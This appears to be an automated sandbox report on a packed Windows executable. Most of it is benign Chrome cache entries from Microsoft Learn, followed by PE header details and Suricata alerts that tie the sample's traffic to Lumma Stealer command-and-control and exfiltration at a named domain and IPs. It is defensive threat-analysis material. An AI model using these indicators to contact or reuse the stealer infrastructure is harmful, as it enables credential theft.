Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.94729422038774
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'869'824 bytes
MD5:	5a9cac2f794b43f5d882fca4c8b69e01
SHA1:	a8599eb0cd47d74d71788a7c7d2002a068b844fc
SHA256:	3997786e3af8757f0fd6c93a105c035fd32af39f1a16e08f28636a8bac1816d5
SHA512:	fbb69193759b1aea7e984902e0d8817b4fc5274d9b51e81b8653f4826a920b0e96e9ec9c4ca78041d6abfe3b12a78ed336282c06351efe274a089faa0fd10c61
SSDEEP:	24576:2RR+NQ00tB9s6fIu9Bs6Siiif9v0M1o40lLEt1VySN7pzXqXWOL27PxxByrE8sTJ:8HtvGIiJM1eeVySXzD7xXiPAGyms
TLSH:	F38533D3C8AC4623C7DD86314CDB98772BBE736B7459750AA495A1242EF2BC73DB0848
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....Ug..............................I...........@.......................... J.....*v....@.................................\@..p..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x89f000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6755B9EA [Sun Dec 8 15:23:22 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F6E04C15D1Ah
pcmpgtd mm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F6E04C17D15h
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5405c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x53000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x24200	dd9862c063e42000bb4492565d40fef6	False	0.9975602833044983	data	7.978785008100601	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x2b0	0x400	fe67bb2a9df3150b9c94de8bd81ed8a0	False	0.3603515625	data	5.186832724894366	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	f89f2f28be6f3fc6a464feb82ace12f3	False	0.15625	data	1.1194718105633323	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x55000	0x2a8000	0x200	e0ee59e2b1e52aaadcd144516751ff6e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cmvasnvo	0x2fd000	0x1a1000	0x1a0800	aaea6e9e00225849e0919b2b337702e5	False	0.9946845925870348	data	7.953840114711922	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
luzbxkhq	0x49e000	0x1000	0x400	1b1c765b97def089475c1f114b3826aa	False	0.8251953125	data	6.3656127254956925	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x49f000	0x3000	0x2200	9e204ca0de2782068c790edc898fefef	False	0.07709099264705882	DOS executable (COM)	1.0253064601306525	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x53058	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-10T06:38:01.384502+0100	2057921	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)	1	192.168.2.6	58348	1.1.1.1	53	UDP
2024-12-10T06:38:02.832588+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	49707	104.21.112.1	443	TCP
2024-12-10T06:38:02.832588+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49707	104.21.112.1	443	TCP
2024-12-10T06:38:03.565679+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49707	104.21.112.1	443	TCP
2024-12-10T06:38:03.565679+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49707	104.21.112.1	443	TCP
2024-12-10T06:38:04.918412+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	49709	104.21.112.1	443	TCP
2024-12-10T06:38:04.918412+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49709	104.21.112.1	443	TCP
2024-12-10T06:38:06.039647+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49709	104.21.112.1	443	TCP
2024-12-10T06:38:06.039647+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49709	104.21.112.1	443	TCP
2024-12-10T06:38:07.522241+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	49710	104.21.112.1	443	TCP
2024-12-10T06:38:07.522241+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49710	104.21.112.1	443	TCP
2024-12-10T06:38:10.028705+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	49711	104.21.112.1	443	TCP
2024-12-10T06:38:10.028705+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49711	104.21.112.1	443	TCP
2024-12-10T06:38:12.748176+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	49713	104.21.112.1	443	TCP
2024-12-10T06:38:12.748176+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49713	104.21.112.1	443	TCP
2024-12-10T06:38:15.423386+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	49719	104.21.112.1	443	TCP
2024-12-10T06:38:15.423386+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49719	104.21.112.1	443	TCP
2024-12-10T06:38:16.427636+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49719	104.21.112.1	443	TCP
2024-12-10T06:38:18.340005+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	49726	104.21.112.1	443	TCP
2024-12-10T06:38:18.340005+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49726	104.21.112.1	443	TCP
2024-12-10T06:38:23.206318+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	49741	104.21.112.1	443	TCP
2024-12-10T06:38:23.206318+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49741	104.21.112.1	443	TCP
2024-12-10T06:38:23.929224+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49741	104.21.112.1	443	TCP
2024-12-10T06:38:25.398805+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49747	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 06:37:54.977716923 CET	443	49706	20.198.119.84	192.168.2.6
Dec 10, 2024 06:37:54.977751970 CET	443	49706	20.198.119.84	192.168.2.6
Dec 10, 2024 06:37:54.977765083 CET	443	49706	20.198.119.84	192.168.2.6
Dec 10, 2024 06:37:54.977832079 CET	443	49706	20.198.119.84	192.168.2.6
Dec 10, 2024 06:37:54.977880001 CET	49706	443	192.168.2.6	20.198.119.84
